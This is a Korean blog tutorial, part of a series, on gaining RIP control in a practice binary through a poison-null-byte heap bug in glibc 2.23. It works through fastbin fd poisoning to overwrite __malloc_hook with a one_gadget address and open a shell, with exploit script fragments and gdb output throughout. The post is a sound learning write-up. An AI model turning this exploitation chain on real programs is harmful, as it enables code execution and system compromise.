PWNABLE] Poison Null Byte - Control RIP

노션으로 옮김·2020년 4월 18일
1

skills

목록 보기
23/37
post-thumbnail

개요

https://velog.io/@woounnan/PWNABLE-Poison-Null-Byte-Libc-Leak와 이어지는 내용이다.


Control RIP

앞서 libc 주소를 획득했다. 하지만 이 값은 base 주소를 얻기위한 수단일 뿐이다.

최종 목표는 rip를 제어하여 원하는 코드를 실행할 수 있어야 한다.

Fast Bin

64비트 기준 0x80 이하의 크기를 가지는 free 청크를 관리한다.(glibc-2.23에서)
헤더 0x10바이트를 포함한 크기이며, 데이터는 다음 청크의 prev_size 필드 8바이트까지 사용하므로 0x88까지 fastbin에 저장된다고 보면 된다.

singled linked list로 이루어지기 때문에 fd 하나의 조작으로 rip 컨트롤이 가능하며, 병합이 되지 않기 때문에 다른 요소를 고려할 필요가 없어 익스플로잇에 자주 활용된다.

본 포스팅에서도 fastbin 조작을 이용한 익스플로잇을 수행할 것이다.

중간 점검

libc leak이 수행된 지금의 청크 상황을 정리해보자.

메모리 상태를 보자.

할당되어있는 chunk_BBB를 free된 것처럼 속이고, 그 위치에 fd, bk가 오도록 만든 후 그 값을 읽어 libc 주소를 확인했다.

현재 fd, bkchunk_BBB에 위치해있다.
하지만 이것은 double linked list인 small bin에 저장되어있는 것이다.

익스플로잇을 위해 chunk_BBBfastbin에 저장되도록 만들어야 한다.

Restore size of chunk_BBB

현재 할당되어있는 chunk_AAA를 free시키고 0x10만큼 더 큰 사이즈로 재할당한다.

0x10을 추가하는 것은, 기존의 chunk_BBB 영역을 오버플로우하여 size+flags를 조작하기 위함이다.

현재 chunk_BBBsize+flags0x171, 즉 chunk_BBBchunk_CCC가 합쳐진 크기가 저장되어있다.

이 값을 처음의 chunk_BBB의 크기이자, fastbin 크기인 0x70으로 변경시킨다.

for i in range(0xfd, 0xf7, -1):
  delete(1)
  create(i+1, 'E'*i + '\x70') # chunk_EEE, new_idx = 1

메모리를 확인하면

chunk_BBBsize+flags0x70으로 변경되었다.

chunk_BBB into Fast Bin

현재 할당되어있는 상태인 chunk_BBB를 free시킨다.

delete(0)

그러면 조작된 크기인 0x70를 갖는 chunk_BBB가 fastbin에 저장되고, chunk_BBB의 시작부분의 데이터는 fastbin을 가리키는 fd로 변경된다.

fastbin을 확인해보면

gdb-peda$ heapinfo
(0x20)     fastbin[0]: 0x0
(0x30)     fastbin[1]: 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x604110 (overlap chunk with 0x604120(freed) )
(0x80)     fastbin[6]: 0x0
(0x90)     fastbin[7]: 0x0
(0xa0)     fastbin[8]: 0x0
(0xb0)     fastbin[9]: 0x0
                  top: 0x6042a0 (size : 0x20be0) 
       last_remainder: 0x604120 (size : 0x160) 
            unsortbin: 0x604120 (size : 0x160)
gdb-peda$ 

chunk_BBB의 주소가 저장되어있다.

Change fd

지금 chunk_BBBfd에는 아무런 값도 저장되어있지 않다. 그 이유는 fastbin에 저장된 chunk_BBB가 유일한 청크이기 때문이다.

만약 chunk_BBBfd값을 임의의 값 0xdeadbeef으로 변경한다면 어떻게 될까?

위 그림처럼 0xdeadbeef를 또다른 청크의 주소값으로 인식할 것이다.

그리고 할당요청이 들어올 때, 0xdeadbeef의 주소를 반환해줄 것이다.

Precautions

하지만 아무런 주소값을 사용할 수 없다.

fastbin의 같은 엔트리에 저장된 청크들은 모두 동일한 사이즈를 갖는다.
chunk_BBB가 0x70이므로, 0xdeadbeef 주소의 (가상)청크의 size+flags 값도 0x70을 나타내고 있어야 한다.

다행히 크기를 검사할 때 size+flags의 LSB 4비트(0xf)는 무시된다고 한다.

그럼 fake 청크로 사용될 수 있는 메모리 값은 QW: 0x70 ~ QW: 0x7f가 된다.

__malloc_hook

__malloc_hook은 모든 malloc() 호출에서 참조되는 포인터이다.

중요한 것은, __malloc_hook에는 Null이 기본으로 저장되어 있는데, 이 값이 아닐 경우 함수 포인터로 인식하여 그것을 호출한다.

gdb-peda$ x/xg &__malloc_hook
0x7ffff7dd1b10 <__malloc_hook>:	0x0000000000000000

또한 __malloc_hook의 이전의 바이트를 보면 앞서 찾았던 QW: 0x70 ~ QW: 0x7f를 만족하는 값이 저장되어있다.

이 주소의 오프셋을 계산한다.

gdb-peda$ vmmap
Start              End                Perm	Name
0x00400000         0x00401000         r-xp	/work/vuln
0x00601000         0x00602000         r--p	/work/vuln
0x00602000         0x00603000         rw-p	/work/vuln
0x00603000         0x00625000         rw-p	[heap]
0x00007ffff7a0d000 0x00007ffff7bcd000 r-xp	/lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff7bcd000 0x00007ffff7dcd000 ---p	/lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff7dcd000 0x00007ffff7dd1000 r--p	/lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff7dd1000 0x00007ffff7dd3000 rw-p	/lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff7dd3000 0x00007ffff7dd7000 rw-p	mapped

gdb-peda$ p 0x7ffff7dd1aed - 0x00007ffff7dd1000
$2 = 0xaed

Change fd to __malloc_hook

chunk_BBBfd를 변경하기 위해, 이 값을 덮어쓸만큼 큰 chunk_AAA를 할당해서 fd의 주소값을 조작한다.

delete(1) # delete chunk_AAA
offset_hook = 0xaed
create(0x108, 'A'*0x100 + p64(offset_hook+libc_base)) # new_idx = 0

fd 값을 덮어쓰는 과정에서 chunk_BBBsize+flags도 변경되었다.

gdb-peda$ x/80gx 0x604110
0x604110:	0x4141414141414141	0x4141414141414141 #needs to restore size
0x604120:	0x00007ffff7dd1aed	0x0000000000000161
0x604130:	0x00007ffff7dd1b78	0x00007ffff7dd1b78

복구시켜준다.

for i in range(0xfe, 0xf7, -1):
  delete(0)
  create(i+8, 'E'*i + '\x70\x00') # chunk_EEE, new_idx = 1

'\x70'이 아닌 '\x70\x00'을 입력하는 이유는, 할당크기보다 적게 데이터를 전달하고 있기 때문에 엔터 입력까지 포함해서 데이터를 write하게 된다.
따라서, 널바이트로 라인피드가 복사되지 않도록 만들어준 것이다.

확인해보면

gdb-peda$ x/80gx 0x604110
0x604110:	0x4545454545454545	0x0000000000000070
0x604120:	0x00007ffff7dd1aed	0x0000000000000161
0x604130:	0x00007ffff7dd1b78	0x00007ffff7dd1b78

0x70으로 복구되었다.

Control Rip

이제 청크를 할당하여 __malloc_hook에 값을 쓰고, 그 주소로 분기되는지 확인해보자.

현재 fastbin에는 chunk_BBB, __malloc_hook가 존재한다.

같은 크기의 청크를 할당하면 chunk_BBB의 주소를 반환할 것이고

또다시 할당했을 때, __malloc_hook의 주소가 반환되어 이 값을 변경시킬 수 있다.

시험삼아 0xdeadbeef로 변경해보자.

create(0x60, 'B'*0x60)

foo = 0xdeadbeef
create(0x60, 0x13*'G'+p64(foo)+'G'*(0x68-0x13-8))

create(0x20, 'trigger __malloc_hook')

__malloc_hook이 0xdeadbeef로 변경된 상태로 malloc()이 또다시 호출되었을 때 __malloc_hook이 참조되어 0xdeadbeef 주소로 분기할 것이다.

Core was generated by `./vuln'.
Program terminated with signal SIGSEGV, Segmentation fault.
#0  0x00000000deadbeef in ?? ()
gdb-peda$ 

Exploit

원가젯을 이용하여 쉘을 실행시키자.

root@ubuntu:/work# one_gadget /lib/x86_64-linux-gnu/libc-2.23.so
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL

테스트 결과 3번째 가젯의 조건을 맞춰줄 수 있었다.

세 번째 가젯으로 실행했을 때 모습이다.
execve()는 실패했지만, 조건값인 rsp+0x50을 보면 내가 입력한 값인 0x474747474747이 들어가있다.

이것을 조건에 맞게 0x00으로 설정해주면 되겠다.

offset_oneshot = 0xf02a4

oneshot = libc_base + offset_oneshot
foo = 0xdeadbeef

create(0x60, 0x13*'G'+p64(oneshot)+'\x00'*(0x68-0x13-8))
create(0x20, 'trigger __malloc_hook')

p.interactive()

코드를 실행해보면

정상적으로 쉘이 실행되었다.

0개의 댓글